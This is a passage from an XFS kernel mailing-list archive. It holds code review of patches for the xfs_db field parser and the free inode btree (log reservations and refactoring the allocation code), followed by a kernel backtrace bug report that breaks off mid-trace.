[PATCH v2] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> <20140211013145.GA13647@dastard> In-Reply-To: <20140211013145.GA13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/10/14 19:31, Dave Chinner wrote: > On Mon, Feb 10, 2014 at 05:09:12PM -0600, Mark Tinguely wrote: >> > + * Values larger than 64 bits are array of hex digits that >> > + * already in the desired ordering (example UUID). >> > */ >> > - *value = strtoll(arg, NULL, 0); >> > + if (bit_length > 64) >> > + return buf; > I don't understand why you added this - how can we have input left > that we need to parse after the above loop? @bytes will always be<= > 0 at this point in time, which means we have no space in the bit > field left to put values into.... The comment explains the return. If the input bit_length is bigger than 64 bit then it is an array of hex numbers (for example UUID can be entered this way). buf is the beginning of the allocated array before rbuf pointer put nibbles into it. So this returns the beginning of the hex bytes. If this return is not taken then it is 64 bits or less and is some kind of integer. The integer will get its fields fixed and converted to big endian.... --Mark. From bfoster@redhat.com Tue Feb 11 10:15:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CDF557F50 for ; Tue, 11 Feb 2014 10:15:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BE329304070 for ; Tue, 11 Feb 2014 08:15:48 -0800 (PST) X-ASG-Debug-ID: 1392135344-04cb6c6de229b850001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id O3SGzYrCHYGLWLND for ; Tue, 11 Feb 2014 08:15:44 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BGFeew001281 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 11:15:41 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1BGFd3t008149; Tue, 11 Feb 2014 11:15:40 -0500 Message-ID: <52FA4E61.9040908@redhat.com> Date: Tue, 11 Feb 2014 11:22:57 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt In-Reply-To: <20140211064609.GE13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392135344 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 01:46 AM, Dave Chinner wrote: > On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: >> Create the xfs_calc_finobt_res() helper to calculate the finobt log >> reservation for inode allocation and free. Update >> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt >> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to >> reserve blocks for the potential finobt record insertion on inode >> free (i.e., if an inode chunk was previously fully allocated). >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_inode.c | 4 +++- >> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- >> fs/xfs/xfs_trans_space.h | 7 ++++++- >> 3 files changed, 52 insertions(+), 6 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c ... >> diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c >> index 2fd59c0..32f35c1 100644 >> --- a/fs/xfs/xfs_trans_resv.c >> +++ b/fs/xfs/xfs_trans_resv.c >> @@ -98,6 +98,37 @@ xfs_calc_inode_res( >> } >> >> /* >> + * The free inode btree is a conditional feature and the log reservation >> + * requirements differ slightly from that of the traditional inode allocation >> + * btree. The finobt tracks records for inode chunks with at least one free inode. >> + * Therefore, a record can be removed from the tree for an inode allocation or >> + * free and the associated merge reservation is unconditional. This also covers >> + * the possibility of a split on record insertion. > > Slightly wider than 80 columns here. FWIW, if you use vim, add this > rule to have it add a red line at the textwidth you have set: > > " highlight textwidth > set cc=+1 > > And that will point out lines that are too long quite obviously ;) > Interesting, thanks. :) >> + * >> + * the free inode btree: max depth * block size >> + * the free inode btree entry: block size >> + * >> + * TODO: is the modify res really necessary? covered by the merge/split res? >> + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? > > The modify case is for an allocation that only updates an inobt > record (i.e. chunk already allocated, free inodes in it). Because > we can remove a finobt record when "modifying" the last free inode > record in a chunk, "modify" can cause a redcord removal and hence a > tree merge. In which case it's no different of any of the other > finobt reservations.... > When I made this note, I think I was curious why there was a need to add to the reservation in the modify case. If we always made a reservation for a btree merge, wouldn't that be enough to cover the basic modify case? In the code, it looks like we either delete the record or modify it. Is there something in the delete case that I'm missing, or are we just being conservative here? Nonetheless, I modelled this after the ifree requirements, assuming the reservation there was correct. >> @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( >> * the superblock for the nlink flag: sector size >> * the directory btree: (max depth + v2) * dir block size >> * the directory inode's bmap btree: (max depth + v2) * block size >> + * the finobt >> */ >> STATIC uint >> xfs_calc_create_resv_modify( >> @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( >> return xfs_calc_inode_res(mp, 2) + >> xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + >> (uint)XFS_FSB_TO_B(mp, 1) + >> - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); >> + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + >> + xfs_calc_finobt_res(mp, 1); >> } > > And this is where is starts to get complex. The modify operation can > now cause a finobt merge, when means blocks will be allocated/freed. > That means we now need to take into account: > > * the allocation btrees: 2 trees * (max depth - 1) * block size > > and anything else freeing an extent requires. > So is the "allocation btrees: 2 trees ..." portion of xfs_calc_create_resv_alloc() associated with the allocation of the actual inode blocks or potential allocations due to inode btree management? I had thought the former, thus didn't include reservations for this in the finobt calculation. >> /* >> @@ -285,6 +318,7 @@ xfs_calc_create_resv_modify( >> * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize >> * the inode btree: max depth * blocksize >> * the allocation btrees: 2 trees * (max depth - 1) * block size >> + * the finobt >> */ >> STATIC uint >> xfs_calc_create_resv_alloc( >> @@ -295,7 +329,8 @@ xfs_calc_create_resv_alloc( >> xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + >> xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + >> xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), >> - XFS_FSB_TO_B(mp, 1)); >> + XFS_FSB_TO_B(mp, 1)) + >> + xfs_calc_finobt_res(mp, 0); >> } > > This reservation is only for v4 superblocks - the icreate > transaction reservation is used for v5 superblocks, so that's the > only one you need to modify. > Ok, thanks. Brian > Cheers, > > Dave. > From bfoster@redhat.com Tue Feb 11 10:24:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA0997F50 for ; Tue, 11 Feb 2014 10:24:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6FB62AC00D for ; Tue, 11 Feb 2014 08:24:53 -0800 (PST) X-ASG-Debug-ID: 1392135891-04cb6c6de329c360001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qsM054DRmPWlT1ES for ; Tue, 11 Feb 2014 08:24:52 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BGOnPY014605 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 11:24:49 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1BGOmiZ019550; Tue, 11 Feb 2014 11:24:49 -0500 Message-ID: <52FA5086.9010600@redhat.com> Date: Tue, 11 Feb 2014 11:32:06 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-7-git-send-email-bfoster@redhat.com> <20140211071703.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation In-Reply-To: <20140211071703.GG13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392135892 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 02:17 AM, Dave Chinner wrote: > On Tue, Feb 04, 2014 at 12:49:37PM -0500, Brian Foster wrote: >> Replace xfs_dialloc_ag() with an implementation that looks for a >> record in the finobt. The finobt only tracks records with at least >> one free inode. This eliminates the need for the intra-ag scan in >> the original algorithm. Once the inode is allocated, update the >> finobt appropriately (possibly removing the record) as well as the >> inobt. >> >> Move the original xfs_dialloc_ag() algorithm to >> xfs_dialloc_ag_slow() and fall back as such if finobt support is >> not enabled. >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_ialloc.c | 211 +++++++++++++++++++++++++++++++++++++++++++++++++++- >> 1 file changed, 210 insertions(+), 1 deletion(-) >> >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index bdaab76..afc9840 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -723,7 +723,7 @@ xfs_ialloc_get_rec( >> * available. >> */ >> STATIC int >> -xfs_dialloc_ag( >> +xfs_dialloc_ag_slow( >> struct xfs_trans *tp, >> struct xfs_buf *agbp, >> xfs_ino_t parent, > > OK, though I would have called it xfs_dialloc_ag_from_inobt() or > something similar to indicate what tree it is walking.... > Fair enough, that's more specific at least. >> +STATIC int >> +xfs_dialloc_ag( >> + struct xfs_trans *tp, >> + struct xfs_buf *agbp, >> + xfs_ino_t parent, >> + xfs_ino_t *inop) >> +{ > > Initial thought: Wow, long, long function. How can we split this up? > >> + struct xfs_mount *mp = tp->t_mountp; >> + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); >> + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); >> + xfs_agnumber_t pagno = XFS_INO_TO_AGNO(mp, parent); >> + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); >> + struct xfs_perag *pag; >> + struct xfs_btree_cur *cur; >> + struct xfs_btree_cur *tcur; >> + struct xfs_inobt_rec_incore rec; >> + struct xfs_inobt_rec_incore trec; >> + xfs_ino_t ino; >> + int error; >> + int offset; >> + int i, j; >> + >> + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) >> + return xfs_dialloc_ag_slow(tp, agbp, parent, inop); >> + >> + pag = xfs_perag_get(mp, agno); >> + >> + /* >> + * If pagino is 0 (this is the root inode allocation) use newino. >> + * This must work because we've just allocated some. >> + */ >> + if (!pagino) >> + pagino = be32_to_cpu(agi->agi_newino); >> + >> + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); >> + >> + error = xfs_check_agi_freecount(cur, agi); >> + if (error) >> + goto error_cur; >> + >> + if (agno == pagno) { >> + /* >> + * We're in the same AG as the parent inode so allocate the >> + * closest inode to the parent. >> + */ >> + error = xfs_inobt_lookup(cur, pagino, XFS_LOOKUP_LE, &i); >> + if (error) >> + goto error_cur; >> + if (i == 1) { >> + error = xfs_inobt_get_rec(cur, &rec, &i); >> + if (error) >> + goto error_cur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); >> + >> + /* >> + * See if we've landed in the parent inode record. The >> + * finobt only tracks chunks with at least one free >> + * inode, so record existence is enough. >> + */ >> + if (pagino >= rec.ir_startino && >> + pagino < (rec.ir_startino + XFS_INODES_PER_CHUNK)) >> + goto alloc_inode; >> + } >> + >> + error = xfs_btree_dup_cursor(cur, &tcur); >> + if (error) >> + goto error_cur; >> + >> + error = xfs_inobt_lookup(tcur, pagino, XFS_LOOKUP_GE, &j); >> + if (error) >> + goto error_tcur; >> + if (j == 1) { >> + error = xfs_inobt_get_rec(tcur, &trec, &j); >> + if (error) >> + goto error_tcur; >> + XFS_WANT_CORRUPTED_GOTO(j == 1, error_tcur); >> + } >> + >> + if (i == 1 && j == 1) { >> + if ((pagino - rec.ir_startino + XFS_INODES_PER_CHUNK - 1) > >> + (trec.ir_startino - pagino)) { >> + rec = trec; >> + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >> + cur = tcur; >> + } else { >> + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); >> + } >> + } else if (j == 1) { >> + rec = trec; >> + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >> + cur = tcur; >> + } else { >> + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); >> + } > > That entire branch can be easily factored into: > > error = xfs_dialloc_ag_finobt_near(cur, pagino, &rec); > Indeed. The function is already organized to facilitate this via the use of the cursor/record pointers. A slight difference is the callee may need to duplicate and replace the caller's cursor. > /* > * Allocate as close to the target agino as possible > */ > static int > xfs_dialloc_ag_finobt_near( > struct xfs_btree_cur *cur, > xfs_agino_t agino, > struct xfs_inobt_rec_incore *rec) > { > struct xfs_btree_cur *rcur; /* cursor for right search */ > struct xfs_inobt_rec_incore rrec; /* and the record used */ > int error; > int i; > int l; > > error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i); > if (error) > return error; > > if (i == 1) { > error = xfs_inobt_get_rec(cur, rec, &i); > if (error) > return error; > XFS_WANT_CORRUPTED_RETURN(i == 1); > > /* > * See if we've landed in the target inode record. The > * finobt only tracks chunks with at least one free > * inode, so record existence is enough. > */ > if (agino >= rec->ir_startino && > agino < (rec->ir_startino + XFS_INODES_PER_CHUNK)) > return 0; > } > > error = xfs_btree_dup_cursor(cur, &rcur); > if (error) > return error; > > error = xfs_inobt_lookup(rcur, agino, XFS_LOOKUP_GE, &j); > if (error) > goto error_rcur; > if (j == 1) { > error = xfs_inobt_get_rec(rcur, &rrec, &j); > if (error) > goto error_rcur; > XFS_WANT_CORRUPTED_GOTO(j == 1, error_rcur); > } > > if (i == 1 && j == 1) { > /* > * both left and right records are valid, so choose > * the closer inode chunk to the target. > */ > if ((agino - rec.ir_startino + XFS_INODES_PER_CHUNK - 1) > > (rrec.ir_startino - agino)) { > *rec = rrec; > xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > cur = rcur; > } else { > xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); > } > } else if (j == 1) { > /* only right record is valid */ > *rec = rrec; > xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > cur = rcur; > } else { > /* Found neither left nor right. > xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); > } > return 0; > > error_rcur: > xfs_btree_del_cursor(rcur, XFS_BTREE_ERROR); > return error; > } > >> + } else { >> + /* >> + * Different AG from the parent inode. Check the record for the >> + * most recently allocated inode. >> + */ >> + if (agi->agi_newino != cpu_to_be32(NULLAGINO)) { >> + error = xfs_inobt_lookup(cur, agi->agi_newino, >> + XFS_LOOKUP_EQ, &i); >> + if (error) >> + goto error_cur; >> + if (i == 1) { >> + error = xfs_inobt_get_rec(cur, &rec, &i); >> + if (error) >> + goto error_cur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); >> + goto alloc_inode; >> + } >> + } >> + >> + /* >> + * Allocate the first inode available in the AG. >> + */ >> + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); >> + if (error) >> + goto error_cur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); >> + >> + error = xfs_inobt_get_rec(cur, &rec, &i); >> + if (error) >> + goto error_cur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); > > And that can be factored in a similar manner in > xfs_dialloc_ag_newino().... > Ok. >> + } >> + >> +alloc_inode: >> + offset = xfs_lowbit64(rec.ir_free); >> + ASSERT(offset >= 0); >> + ASSERT(offset < XFS_INODES_PER_CHUNK); >> + ASSERT((XFS_AGINO_TO_OFFSET(mp, rec.ir_startino) % >> + XFS_INODES_PER_CHUNK) == 0); >> + ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino + offset); >> + >> + /* >> + * Modify or remove the finobt record. >> + */ >> + rec.ir_free &= ~XFS_INOBT_MASK(offset); >> + rec.ir_freecount--; >> + if (rec.ir_freecount) >> + error = xfs_inobt_update(cur, &rec); >> + else >> + error = xfs_btree_delete(cur, &i); >> + if (error) >> + goto error_cur; >> + >> + /* >> + * Lookup and modify the equivalent record in the inobt. >> + */ >> + tcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); > > In case ou hadn't guessed, I don't like the "tcur/trec" variables > because they make me thing "temporary" which they aren't. In this > case it is the inobt cursor and record.... > > In fact, this whole segment could be factored into a function like > xfs_dialloc_ag_inobt_update(), hence removing the second cursor from > xfs_dialloc_ag() function altogether and that would clean a lot of > the logic up.... > Sounds reasonable. >> + >> + error = xfs_check_agi_freecount(tcur, agi); >> + if (error) >> + goto error_tcur; >> + >> + error = xfs_inobt_lookup(tcur, rec.ir_startino, XFS_LOOKUP_EQ, &i); >> + if (error) >> + goto error_tcur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); >> + >> + error = xfs_inobt_get_rec(tcur, &trec, &i); >> + if (error) >> + goto error_tcur; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); >> + ASSERT((XFS_AGINO_TO_OFFSET(mp, trec.ir_startino) % >> + XFS_INODES_PER_CHUNK) == 0); >> + >> + trec.ir_free &= ~XFS_INOBT_MASK(offset); >> + trec.ir_freecount--; >> + >> + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == trec.ir_free) && >> + (rec.ir_freecount == trec.ir_freecount), >> + error_tcur); >> + >> + error = xfs_inobt_update(tcur, &trec); >> + if (error) >> + goto error_tcur; >> + >> + /* >> + * Update the perag and superblock. >> + */ >> + be32_add_cpu(&agi->agi_freecount, -1); >> + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); >> + pag->pagi_freecount--; >> + >> + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); > > This will need to be done before you update the inobt, though, so > you can run the xfs_check_agi_freecount() count in it and it will > come out correct.... > Right. I suppose this could update the finobt, perag & super, check the agi against the finobt, then invoke the new helper (which will update the inobt and check its cursor against the agi). Brian > Cheers, > > Dave. > From davej@redhat.com Tue Feb 11 11:27:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=TVD_SPACE_RATIO autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01D7B7F50 for ; Tue, 11 Feb 2014 11:27:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8F828F8035 for ; Tue, 11 Feb 2014 09:27:16 -0800 (PST) X-ASG-Debug-ID: 1392139635-04bdf0121f2bcbc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LJYfW37Oz4WAbP3Q for ; Tue, 11 Feb 2014 09:27:15 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BHRFhw014390 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 12:27:15 -0500 Received: from gelk.kernelslacker.org (ovpn-113-62.phx2.redhat.com [10.3.113.62]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1BHR9T8000408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Feb 2014 12:27:14 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id s1BHR7Qs003538; Tue, 11 Feb 2014 12:27:07 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id s1BHR7qT003537; Tue, 11 Feb 2014 12:27:07 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Tue, 11 Feb 2014 12:27:07 -0500 From: Dave Jones To: Linux Kernel Cc: xfs@oss.sgi.com Subject: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140211172707.GA1749@redhat.com> X-ASG-Orig-Subj: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Linux Kernel , xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392139635 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 BUG: sleeping function called from invalid context at mm/mempool.c:203 in_atomic(): 0, irqs_disabled(): 1, pid: 27511, name: trinity-c3 5 locks held by trinity-c3/27511: #0: (sb_writers#9){......}, at: [] mnt_want_write+0x24/0x50 #1: (&type->i_mutex_dir_key#3){......}, at: [] do_last.isra.51+0x294/0x11f0 #2: (sb_internal#2){......}, at: [] xfs_trans_alloc+0x24/0x40 [xfs] #3: (&(&ip->i_lock)->mr_lock/1){......}, at: [] xfs_ilock+0x16f/0x1b0 [xfs] #4: (&(&ip->i_lock)->mr_lock){......}, at: [] xfs_ilock_nowait+0x184/0x200 [xfs] CPU: 3 PID: 27511 Comm: trinity-c3 Not tainted 3.14.0-rc2+ #111 ffffffff83a3fd56 0000000045a3849a ffff88009f368f60 ffffffff8372afea 0000000000000000 ffff88009f368f88 ffffffff8309ddb5 0000000000000010 ffff880243566288 0000000000000008 ffff88009f369008 ffffffff831534d3 Call Trace: [] dump_stack+0x4e/0x7a [] __might_sleep+0x105/0x150 [] mempool_alloc+0xa3/0x170 [] ? deactivate_slab+0x51a/0x590 [] bio_alloc_bioset+0x156/0x210 [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] [] ? xlog_bdstrat+0x22/0x60 [xfs] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] [] xlog_bdstrat+0x22/0x60 [xfs] [] xlog_sync+0x3a7/0x5b0 [xfs] [] xlog_state_release_iclog+0x10f/0x120 [xfs] [] xlog_write+0x6f0/0x800 [xfs] [] xlog_cil_push+0x2f1/0x410 [xfs] [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] [] _xfs_log_force+0x70/0x290 [xfs] [] ? get_parent_ip+0xd/0x50 [] xfs_log_force+0x26/0xb0 [xfs] [] ? _xfs_buf_find+0x1f6/0x3c0 [xfs] [] xfs_buf_lock+0x133/0x140 [xfs] [] _xfs_buf_find+0x1f6/0x3c0 [xfs] [] xfs_buf_get_map+0x2a/0x1b0 [xfs] [] xfs_trans_get_buf_map+0x1a1/0x240 [xfs] [] xfs_da_get_buf+0xbd/0x100 [xfs] [] xfs_dir3_data_init+0x59/0x1d0 [xfs] [] ? xfs_dir2_grow_inode+0x13b/0x150 [xfs] [] xfs_dir2_sf_to_block+0x17e/0x7b0 [xfs] [] ? xfs_dir2_sfe_get_ino+0x1a/0x20 [xfs] [] ? xfs_dir2_sf_check.isra.7+0x114/0x1b0 [xfs] [] ? xfs_da_compname+0x1f/0x30 [xfs] [] ? xfs_dir2_sf_lookup+0x303/0x310 [xfs] [] xfs_dir2_sf_addname+0x348/0x6d0 [xfs] [] ? xfs_setup_inode+0x1cd/0x320 [xfs] [] xfs_dir_createname+0x184/0x1e0 [xfs] [] xfs_create+0x469/0x580 [xfs] [] xfs_vn_mknod+0xc4/0x1e0 [xfs] [] xfs_vn_create+0x13/0x20 [xfs] [] vfs_create+0x95/0xc0 [] do_last.isra.51+0x9f8/0x11f0 [] ? link_path_walk+0x81/0x870 [] path_openat+0xc9/0x620 [] ? put_dec+0x72/0x90 [] do_filp_open+0x4d/0xb0 [] file_open_name+0xfe/0x160 [] filp_open+0x44/0x60 [] do_coredump+0x602/0xf60 [] get_signal_to_deliver+0x2b8/0x6b0 [] do_signal+0x57/0x9d0 [] ? __acct_update_integrals+0x8e/0x120 [] ? __schedule+0x60/0x850 [] ? preempt_count_sub+0x6b/0xf0 [] ? _raw_spin_unlock+0x31/0x50 [] ? vtime_account_user+0x91/0xa0 [] ? context_tracking_user_exit+0x9b/0x100 [] do_notify_resume+0x5c/0xa0 [] retint_signal+0x46/0x90 ------------[ cut here ]------------ WARNING: CPU: 3 PID: 27511 at block/blk.h:227 generic_make_request_checks+0x33f/0x460() Modules linked in: bridge stp tun snd_seq_dummy fuse hidp bnep rfcomm nf_conntrack_netlink nf_conntrack scsi_transport_iscsi nfnetlink can_raw nfc pn_pep caif_socket caif af_802154 phonet af_rxrpc can_bcm can llc2 pppoe pppox ppp_generic slhc irda crc_ccitt rds ipt_ULOG af_key rose x25 atm netrom appletalk ipx p8023 psnap p8022 llc ax25 cfg80211 xfs libcrc32c coretemp hwmon x86_pkg_temp_thermal kvm_intel kvm crct10dif_pclmul crc32c_intel ghash_clmulni_intel snd_hda_codec_hdmi snd_hda_codec_realtek snd_hda_codec_generic serio_raw microcode pcspkr snd_hda_intel snd_hda_codec usb_debug btusb snd_hwdep snd_seq snd_seq_device bluetooth 6lowpan_iphc rfkill snd_pcm snd_timer snd soundcore e1000e ptp shpchp pps_core CPU: 3 PID: 27511 Comm: trinity-c3 Not tainted 3.14.0-rc2+ #111 0000000000000009 0000000045a3849a ffff88009f368f10 ffffffff8372afea 0000000000000000 ffff88009f368f48 ffffffff8306d0cd ffff88023933ed00 00000000ffffffff 00000000197f7510 0000000000800005 ffff880240913740 Call Trace: [] dump_stack+0x4e/0x7a [] warn_slowpath_common+0x7d/0xa0 [] warn_slowpath_null+0x1a/0x20 [] generic_make_request_checks+0x33f/0x460 [] generic_make_request+0x27/0x130 [] submit_bio+0x78/0x160 [] ? bio_alloc_bioset+0x180/0x210 [] _xfs_buf_ioapply+0x2bb/0x3c0 [xfs] [] ? xlog_bdstrat+0x22/0x60 [xfs] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] [] xlog_bdstrat+0x22/0x60 [xfs] [] xlog_sync+0x3a7/0x5b0 [xfs] [] xlog_state_release_iclog+0x10f/0x120 [xfs] [] xlog_write+0x6f0/0x800 [xfs] [] xlog_cil_push+0x2f1/0x410 [xfs] [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] [] _xfs_log_force+0x70/0x290 [xfs] [] ? get_parent_ip+0xd/0x50 [] xfs_log_force+0x26/0xb0 